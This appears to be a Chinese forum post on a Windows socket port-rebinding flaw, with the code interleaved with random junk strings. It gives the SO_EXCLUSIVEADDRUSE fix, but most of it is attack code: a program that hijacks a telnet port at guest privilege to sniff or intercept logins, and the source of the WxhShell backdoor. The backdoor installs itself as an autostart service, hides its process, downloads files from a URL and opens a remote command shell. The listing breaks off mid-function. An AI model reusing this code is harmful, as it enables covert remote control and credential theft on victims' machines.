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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #XqCz>Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aMHC+R1X xqY'-Hom saddr.sin_family = AF_INET; 3>MILEY^ ,3-^EfccW saddr.sin_addr.s_addr = htonl(INADDR_ANY); /|}yf/^9X !m-`~3P#l, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .GNyADQp 'PFjZGaKR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q`L)^In" Qmo}esb'( 这意味着什么?意味着可以进行如下的攻击:
#QcRN?s GRofOJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2&]LZ:( )Qe]!$tqfD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j%bC9UkE3 u=]*,,5< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?Y8hy|`
$X/'BCb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 sSGXd=": BgdUG:;&
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kFmtE
dhsc <,/7:n 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =23@"ji@D olxxs( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ln8NcAEx P*|=Z>%[0 #include , .;0xyc #include srO>l ;Vf/ #include NR8`nc1~ #include P3=#<Q. DWORD WINAPI ClientThread(LPVOID lpParam); lP]Y^Gz int main() G'w!Aw s { ?)k]Vg. WORD wVersionRequested; z9OpxW@Ou DWORD ret; -D=Sj@G WSADATA wsaData; kRX?o'U~C BOOL val; GGcODjY> SOCKADDR_IN saddr; M1#CB SOCKADDR_IN scaddr; cVxO\M int err; <`; {gX1 SOCKET s; f$-n%7 SOCKET sc; 55$';gh,9 int caddsize; mF+8Q HANDLE mt; 7_)38 DWORD tid; MY
c& wVersionRequested = MAKEWORD( 2, 2 ); (F.w?f4B3 err = WSAStartup( wVersionRequested, &wsaData ); #<eD if ( err != 0 ) { ceCO *m~ printf("error!WSAStartup failed!\n"); qS!N\p~> return -1; zG 9D
Ph } =VZ_';b h saddr.sin_family = AF_INET; e?+-~]0 m$v >r\*X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \>lA2^Ef =l*xM/S saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VzHrKI saddr.sin_port = htons(23); H6jt[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G?XA",AC { Mb\(52`)Q printf("error!socket failed!\n"); ,>kVVpu return -1; Ng
W"w h } ty[p5%L1 val = TRUE; MOCcp s* //SO_REUSEADDR选项就是可以实现端口重绑定的 0wV9Trp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g%[:wjV; { /w5*R5B{ printf("error!setsockopt failed!\n"); Qb/:E}h]$ return -1; 8uH8) } T=M##`jP% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CZeZk //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 AgSAjBP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 62 _k`)k =*lBJ-L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CyYr5 Dz { S1y6G/e9 ret=GetLastError(); /Qr`au printf("error!bind failed!\n"); v3M$UiN,: return -1; .43cI( } Gbclu.4 listen(s,2); .o/uA while(1) HZWt>f { D^.
c: caddsize = sizeof(scaddr); a*.#Zgy:lK //接受连接请求 `\\s%}vZ*T sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qA`@~\qh" if(sc!=INVALID_SOCKET) \6?a { L;j++^p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L2EQ 9i'[ if(mt==NULL) C5TV}Bq\ { '&Y_,-i printf("Thread Creat Failed!\n"); Fc \]* break; FE,mUpHIR } ?jlz:Z4 } OM\1TD/- CloseHandle(mt); <y^_&9 } @/^mFqr2 closesocket(s); zN]%p>,)HB WSACleanup(); jTt9;?) return 0; 0!lWxS0#= } !Pnjr T DWORD WINAPI ClientThread(LPVOID lpParam) QOg >|"KL { `m<O!I"A SOCKET ss = (SOCKET)lpParam; 3Zd,"/RH SOCKET sc; zN[&
iKf unsigned char buf[4096]; ,z/aT6M?H SOCKADDR_IN saddr; y<Xu65 long num; C]5 kQ1Og DWORD val; kV?fie<\) DWORD ret; Bz-jy. //如果是隐藏端口应用的话,可以在此处加一些判断 v=lW5%r,' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 !1=OaOT saddr.sin_family = AF_INET; !f52JQyh saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2 Kjd!~Z$ saddr.sin_port = htons(23); 7G-?^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `{Q'iydU { LAf#Rco4 printf("error!socket failed!\n"); O=}Rp1 return -1; 1a{r1([) } B^P&+,\[} val = 100; &*+$38XE^ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f?k0(rl { 2y^:T'p ret = GetLastError(); -2J37 return -1; 0g|5s } vZTXvdF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^-k"gLg {
&Q?@VNi ret = GetLastError(); U6@c)_* < return -1; ~YCH5, } o68i0aFW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T
pF[-fO { EC,`t*< printf("error!socket connect failed!\n"); MU
a[}? closesocket(sc); QE[<Y3M closesocket(ss); .aY$-Y< return -1; !KK `+ 9/ } Y 2ANt w@ while(1) I)FFh%m<}a { /^nIOAeE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OR~ui[w //如果是嗅探内容的话,可以再此处进行内容分析和记录 fy"}#
2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C){Q;`M-< num = recv(ss,buf,4096,0); Sf*v#? if(num>0) H2R3I<j send(sc,buf,num,0); \'j(@b, else if(num==0) S5TVfV5LI break; ? F
#&F num = recv(sc,buf,4096,0); <YFDS;b| if(num>0) U0j>u*yE send(ss,buf,num,0); qD>^aEd@4 else if(num==0) _`\!+qGq break; YWH>tt9 } ;NRh0)%|o closesocket(ss); [C6ba{9B closesocket(sc); B1nm?E 0i return 0 ; C&w0HoF } &F~d~;G"q o(jLirnk \vT~2Y(K ========================================================== z&d.YO_W iVZ}+Ct<" 下边附上一个代码,,WXhSHELL xE?KJ zs#-E_^%M ========================================================== +X^GS^mz W$zRUG- #include "stdafx.h" xo'!$a}I2 |@JTSz*Or #include <stdio.h>
{ %X2K #include <string.h> lF!PiL #include <windows.h> vNs%e/~vj #include <winsock2.h> <<MpeMi #include <winsvc.h> gp`@dn'; #include <urlmon.h> ;(`bP m1%rm-M #pragma comment (lib, "Ws2_32.lib") Yt(FSb31H #pragma comment (lib, "urlmon.lib") E! NtD).=S hp'oiR;~w #define MAX_USER 100 // 最大客户端连接数 =exCpW> #define BUF_SOCK 200 // sock buffer e*}zl>f #define KEY_BUFF 255 // 输入 buffer uKk#V6t# 'D5J5+.z #define REBOOT 0 // 重启 :zKW[sF #define SHUTDOWN 1 // 关机 1}=D T"Y#u #define DEF_PORT 5000 // 监听端口 iLSUz j` <7J3tn B #define REG_LEN 16 // 注册表键长度 2w7$"N #define SVC_LEN 80 // NT服务名长度 WkA47+DsV (t@)`N{ // 从dll定义API wz:e\ ! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o-RZwufZ` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w ea typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~&)\8@2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ln,<|,fZN X^eyrqv // wxhshell配置信息 :[n~(~7? struct WSCFG { ,nteIR'?? int ws_port; // 监听端口 u?72]?SM char ws_passstr[REG_LEN]; // 口令 K _VIk'RB int ws_autoins; // 安装标记, 1=yes 0=no ^R@)CIQ char ws_regname[REG_LEN]; // 注册表键名 5 [~HL_u;, char ws_svcname[REG_LEN]; // 服务名 (]'wQ4iQ char ws_svcdisp[SVC_LEN]; // 服务显示名 tB>!1}v char ws_svcdesc[SVC_LEN]; // 服务描述信息 z]8Mv(eL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YM_ [ int ws_downexe; // 下载执行标记, 1=yes 0=no Q;3`T7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" {"Sv~L|J; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \UK}B ]gPx%c }; -&2Z/qM&! #1J,!seJ // default Wxhshell configuration wL),/i&< struct WSCFG wscfg={DEF_PORT, n zaDO-2! "xuhuanlingzhe", #VX]trh, 1, wd*B3 "Wxhshell", jV*10kM< "Wxhshell", [IOI&`?D "WxhShell Service", y{mt *VA4 "Wrsky Windows CmdShell Service", e x Z/ "Please Input Your Password: ", GqCBD-@4v. 1, tjtvO@?1- " http://www.wrsky.com/wxhshell.exe", d {U%q
d "Wxhshell.exe" +&G(AW }; |"LHo
H fU$Jh/#": // 消息定义模块 P
I"KY@>H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZUHW*U. char *msg_ws_prompt="\n\r? for help\n\r#>"; @~hy'6/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9]=J+ (M char *msg_ws_ext="\n\rExit."; jq)Bj#'7 char *msg_ws_end="\n\rQuit."; n+=qT$w) char *msg_ws_boot="\n\rReboot..."; $;Fx Zkp char *msg_ws_poff="\n\rShutdown..."; %W D^0U| char *msg_ws_down="\n\rSave to "; Gn
9oInY1 eWv:wNouk char *msg_ws_err="\n\rErr!"; QoxYzln char *msg_ws_ok="\n\rOK!"; Wd;t(5Xl h623)C; char ExeFile[MAX_PATH]; M%ecWr!tj int nUser = 0; !8UIyw HANDLE handles[MAX_USER]; +C!GV.q[ int OsIsNt; QYo04`Rl :&
Dv!z SERVICE_STATUS serviceStatus; kfas4mkc SERVICE_STATUS_HANDLE hServiceStatusHandle; *.nSv@F aWTurnee^ // 函数声明
ZJs~,Q int Install(void); D1y`J&A>Q int Uninstall(void); -hnNaA int DownloadFile(char *sURL, SOCKET wsh); G)s.~ T int Boot(int flag); ri4z^1\ void HideProc(void); "|(.W3f1 int GetOsVer(void); m@kLZimD int Wxhshell(SOCKET wsl); 6inAnC@I void TalkWithClient(void *cs); >C_G~R int CmdShell(SOCKET sock); 3mU~G}ig int StartFromService(void); hev;M)t int StartWxhshell(LPSTR lpCmdLine); $rW(*#C k
?KJ8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (
xooU 8d VOID WINAPI NTServiceHandler( DWORD fdwControl ); =|AYT6z, }d}sC\>U // 数据结构和表定义 %N&.B SERVICE_TABLE_ENTRY DispatchTable[] = [#Apd1S_ { ,TWlg {wscfg.ws_svcname, NTServiceMain}, _s@PL59, {NULL, NULL} '-A;B.GV% }; 5XX)8gAo P0>2}/;o // 自我安装 +:^l|6%} int Install(void) %R?7u'=~ { rVP\F{Q4Tr char svExeFile[MAX_PATH]; H'#06zP>5 HKEY key; AmIW$(Ce strcpy(svExeFile,ExeFile); +r"}@8/\1 eef&ZL6g // 如果是win9x系统,修改注册表设为自启动 2Pm}wD^` if(!OsIsNt) { RYCiO,+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "[7-1} l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %2dzx[s RegCloseKey(key); $)NS]wJ]3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zB0*KgAn{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >z%YKdq RegCloseKey(key); N4,oO H~ return 0; A{;"e^a-^l } QBXEM= } P6kDtUXF } 'i$._Tx else { =5*Wu+S4r N{bg-%s10i // 如果是NT以上系统,安装为系统服务 OR6vA5J
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \azMF} mb if (schSCManager!=0) >ymn&_zlT { b||usv[or SC_HANDLE schService = CreateService 6oLOA}q ( .n8O 3V schSCManager, @P~%4:!Hr wscfg.ws_svcname, g]Y%c73 wscfg.ws_svcdisp, tf 7HhOCYX SERVICE_ALL_ACCESS, U -OD SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F%a&|X SERVICE_AUTO_START, !;8Y?c-D SERVICE_ERROR_NORMAL, {.k IC@^O svExeFile, ``<#F3 NULL, 6bUP]^d NULL, _+9i NULL, @2.
:fK NULL, ` Ny(S2 NULL *w0|`[P+h ); 5ZkR3/h e if (schService!=0) `XE>Td>Bs { i[9gcL" CloseServiceHandle(schService); jj2=|)w$3 CloseServiceHandle(schSCManager); wxcJ2T d H strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bC+ZR{M strcat(svExeFile,wscfg.ws_svcname); p5E
okh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oQh;lb RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kwUUvF7w RegCloseKey(key); f=V`Nn<=A return 0; Y>aVnixx< } ^A&{g.0 } K_Y{50# CloseServiceHandle(schSCManager); !VIxEu^ke } ]vB^% } \?v&JmEU |-vyhr0 return 1;
Txo{6nd/ } [r>hKZU2 KB~1]cYMp // 自我卸载 @F(er int Uninstall(void) JdI*@b2k[ { 6{i0i9Tb HKEY key; |0Fo{ <H]PP6_g: if(!OsIsNt) { ;DX{+Z[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q(N'Oj:J RegDeleteValue(key,wscfg.ws_regname); ;p*L(8<YI RegCloseKey(key); @=w)a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {(-923|, RegDeleteValue(key,wscfg.ws_regname); z^gz kXx7 RegCloseKey(key); j,].88H return 0; %LC)sSq{H } 4N=,9 } wT+60X' } YhglL!pC else { =CFg~8W *g}==o` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OO/>}? ob if (schSCManager!=0) zx"EAF{ { Bi fI.2| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D_<B^3w) if (schService!=0) JfJ ln[ { +1qvT_ if(DeleteService(schService)!=0) { 'p[6K'Uq5 CloseServiceHandle(schService); l]DRJ CloseServiceHandle(schSCManager); *vBhd2HO return 0; o|n;{zT" } J%ws-A?6rN CloseServiceHandle(schService); Hh](n<Bs } Z{(Gib~{N CloseServiceHandle(schSCManager); IP !zg|c, } %iV\nFal> } Jl"DMUy[kW _;(QMeR return 1; a3Z()|t> } @J@bD+Q+0 OZObx // 从指定url下载文件 *LmzGF| int DownloadFile(char *sURL, SOCKET wsh) 8r\xQr'8h { 5U<o%+^El HRESULT hr; ";0-9*I char seps[]= "/";
t.O4-+$ig char *token; kr1^`>O5 char *file; SLd9-N}T char myURL[MAX_PATH]; 8{Svax( char myFILE[MAX_PATH]; oDA'}[/ ^T@-yys strcpy(myURL,sURL); zgpPu4t token=strtok(myURL,seps); >yqL while(token!=NULL) {24Pv#ZG#^ { uoBPi[nK file=token; |om3* ]7 token=strtok(NULL,seps); p/s5[>N } !C0=
h )=D9L GetCurrentDirectory(MAX_PATH,myFILE); lu.2ZQE strcat(myFILE, "\\"); .~8IW,[ strcat(myFILE, file); 0P53dF send(wsh,myFILE,strlen(myFILE),0); WqU$cQD" send(wsh,"...",3,0); g(;ejKSR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z#*GPA8Em: if(hr==S_OK) veE8
N~0N. return 0; e S
Fmx else q+G1#5 return 1; _H3cqD TT&!WbA-Hk } g-(xuR^* pV-.r-P // 系统电源模块 z?YGE iR/} int Boot(int flag) Yc5$915 { ;[zx'e?! HANDLE hToken; %I=J8$B]f TOKEN_PRIVILEGES tkp; Y2D)$ JuI,wA if(OsIsNt) { }w@nZG ^& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nb!m>0*/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tuy*Df tkp.PrivilegeCount = 1; +%~g$#tlJo tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bms?`7}N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6u7HO-aa if(flag==REBOOT) { #sHP\|rA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .lnD]Q return 0; O&0R ~<n } Zj0&/S else { fjJIF% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Ee# x!O return 0; s`2o\] } zc(7p;w#p } xMh&C{q else { cS[`1y,\3 if(flag==REBOOT) { n#fg7d% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @'y"D return 0; $_UF9l0 } S {H8}m|MW else { x/<.?[A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0.5_,an3 return 0; W2k~N X#@ } ij),DbWd } kgu+q\? %"6IAt return 1; >JMKEHl.q } b6(yyYdF m}E$6E^~O // win9x进程隐藏模块 /_|1,x-Kx void HideProc(void) Sm,$~~iq} { 9+']`=a: o5R\7}]GE HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tQ67XAb if ( hKernel != NULL ) 2P}RZvUd { N@$%0! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vX\e*
v ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >vU
Hf`4T FreeLibrary(hKernel); yN.D(ZwF: } @n(In$ K&h6#[^\d return; Ah`dt8t } s$_#T =.c"&,c?L // 获取操作系统版本 luT8>9X^:a int GetOsVer(void) gib]#n1!p { di5_5_$`o OSVERSIONINFO winfo; nz\fN?q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EoeEg,'~F GetVersionEx(&winfo); ;GSJnV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @El<"\ return 1; jHCKV else F{,O+\ return 0; fna>> } v3Yj2LSqx ,GIqRT4K // 客户端句柄模块 (T01hR& int Wxhshell(SOCKET wsl) }nl)*l { E6k&r} SOCKET wsh; #8jd,I%L struct sockaddr_in client; Tt|6N*b' DWORD myID; }q W aE Pa +BE[z while(nUser<MAX_USER) "S:N-Tf%U { ~x:]ch| int nSize=sizeof(client); {6sfa?1j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C6~dN&q if(wsh==INVALID_SOCKET) return 1; 59J9V3na ;7k7/f: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %LHV 0u if(handles[nUser]==0) @/L. BfTz closesocket(wsh); V bOLTc else
3 H2;mqq nUser++; +=Wdn)T } Cl!jK^AbG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -<]_:Kf{;& gq3OCA!cX return 0; T9-a
uK0d } {PtTPz 1o 78e2B // 关闭 socket ^\jX5)2{ void CloseIt(SOCKET wsh) W%K8HAP " { `|Z@UPHzG closesocket(wsh); '/g+;^_cB nUser--; S=SncMO nE ExitThread(0); Cpv%s 1M } bGc|SF<V 3>)BI(Wl // 客户端请求句柄 Lu.tRZ`$38 void TalkWithClient(void *cs) '<S:|$$ { >[4|6k|\x .WyX/E$I^! SOCKET wsh=(SOCKET)cs; =[os<+ char pwd[SVC_LEN]; h\\2r> char cmd[KEY_BUFF]; Q$/F gS
char chr[1]; "0zXpQi,B int i,j; M|e
n>P (Gc`3jJ while (nUser < MAX_USER) { l zPS
RT luk2fi<$ if(wscfg.ws_passstr) { [Vp2!" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s
FYJQ90it //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 14!a)Ijl //ZeroMemory(pwd,KEY_BUFF); 9k[},MM i=0; I} fcFL8 while(i<SVC_LEN) { {<[tYZmj. b:cK >fh0_ // 设置超时 ~{Rt4o _W fd_set FdRead;
0P3|1= struct timeval TimeOut; @aN=U= FD_ZERO(&FdRead); +{i"G,3 FD_SET(wsh,&FdRead); ef:$1VIBda TimeOut.tv_sec=8; lY9M<8g TimeOut.tv_usec=0; N%|Vzc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xh^ZI6L< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /M*\t.[ 46 8;f<q u|w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PG[O?l pwd =chr[0]; {)9HS~e T if(chr[0]==0xd || chr[0]==0xa) { @<TZH pwd=0; {&u7kWD| break; T^;Jz!e } X3L[y\ i++; }6,bq`MN } lWw!+[<:q1 u m2s^G // 如果是非法用户,关闭 socket C"Q=(3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AnE_<sPA } @3TkD_B& qs1.@l(" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )/T$H| send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A+1]Ql)$ ~K$"PKs3 while(1) { 7cP[o+ vJAAAS ZeroMemory(cmd,KEY_BUFF); 1S]gD&V IH5} Az // 自动支持客户端 telnet标准 '7LJuMp$# j=0; ~EWfEHf*BJ while(j<KEY_BUFF) { t,1! `/\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5QFXj)hR+4 cmd[j]=chr[0]; eTRx 6Fri( if(chr[0]==0xa || chr[0]==0xd) { DEp%\sj? cmd[j]=0; |U$de2LF break; -1r &s } 9eN2)a/ j++; Q @OC = } .6 ?>t!&W $aPHl // 下载文件 t6g)3F7 T if(strstr(cmd,"http://")) { E,D:D3O send(wsh,msg_ws_down,strlen(msg_ws_down),0); h[ZN >T if(DownloadFile(cmd,wsh)) <,4R2' send(wsh,msg_ws_err,strlen(msg_ws_err),0); h;ol" else n:^"[Le send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q>|[JJ*6_N } 4>"cc@8&~ else { "X{aS} ,+f0cv4 switch(cmd[0]) { eFj6p< Q(;B) // 帮助 78a-3){ case '?': { 97]a-)SA send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? __aVQ7 break; ~
S?-{X+ } IzGB // 安装 v<7Gln case 'i': { D _bkUR1 if(Install()) ^`jZKh8)h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&W; else lR@i`)'?U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $nfBvf break; ^L8Wn6s' } <h@z=ijN // 卸载 s*)41\V0 case 'r': { xf^<ec if(Uninstall()) )p!*c, send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Sw+]pr~ else )pZekh]v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); te\h?H break; 7dlKdKH } N7~)qqb // 显示 wxhshell 所在路径 rZ!Yi*? f case 'p': { :<N6i/ char svExeFile[MAX_PATH]; E/dO7I`B strcpy(svExeFile,"\n\r"); g* \P6 strcat(svExeFile,ExeFile); Yt/SnF send(wsh,svExeFile,strlen(svExeFile),0); ,\S pjE break; 0 .FHdJ< } S[L#M;n // 重启 %CxEZPe$ case 'b': { ie$`pyj!x send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (!0j4' if(Boot(REBOOT)) PHRGhKJW}) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9b" 9m*gC else { `s>UU- 9 closesocket(wsh); 4{*tn"y ExitThread(0); |ilv|U V } XJ:>UNf5; break; q4Oxs } 7ZV~op2Q // 关机 yNrinYw case 'd': { dcl.wD0~V send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ kJ0K if(Boot(SHUTDOWN)) w*<Y$hnBzF send(wsh,msg_ws_err,strlen(msg_ws_err),0); |%'6f}fnE else { ^zaKO'KcV closesocket(wsh); _}I(U?Q-C ExitThread(0); H:q )^$s } a@fE46o6< break; J7'f@X~nM } X!7VyE+n // 获取shell ] Wx>)LT case 's': { HBh` 2Q CmdShell(wsh); mFqSD closesocket(wsh); d)04;[= ExitThread(0); ySwYV break; Cdp]Nv6 } 4?>18%7& // 退出 I!$jYY2 case 'x': { Ic[}V0dk send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 49+ >f CloseIt(wsh); p{ @CoOn break; mVv\bl?< } G}!7tU // 离开 MvFM, case 'q': { Lh8bQH send(wsh,msg_ws_end,strlen(msg_ws_end),0); %s$rP closesocket(wsh); U,Z"G1^ WSACleanup(); G3RrjWtO exit(1);
SwdC, break; I#|ocz } .q0218l:dF } .O5LI35, } r-RCe3%g% w=f0*$ue+w // 提示信息 |Z`M*.d+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tmO;:n<N } )Qh>0T+( } cS<TmS! Qw24/DJK return; .UM<a
Ik } t6'61*)|0 D9 qX->p // shell模块句柄 ! jbEm8bt int CmdShell(SOCKET sock) _Kc1 { Dh2:2Rz=#7 STARTUPINFO si; 2.[_t/T ZeroMemory(&si,sizeof(si)); "| Kf'/r si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
s1X]RXX&j si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1s#yWQ PROCESS_INFORMATION ProcessInfo; n,t6v5>88 char cmdline[]="cmd"; 9o-!ecx} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kWB, ;7 return 0; Ya}T2VX } 3g4e']t `1nRcY // 自身启动模式 [RAj3Fr0 int StartFromService(void) >f&xJq { a
@6^8B?w; typedef struct G/v|!}?wG { `kv1@aQPL DWORD ExitStatus; eYJ{LPo DWORD PebBaseAddress; _h0- DWORD AffinityMask; c {1V. DWORD BasePriority; ?22d},. ULONG UniqueProcessId; mfXD1]<. ULONG InheritedFromUniqueProcessId; `.{U-U\ } PROCESS_BASIC_INFORMATION; ; D1FAz 5a'yXB} PROCNTQSIP NtQueryInformationProcess; yh S#&)O WK
pUn8&N
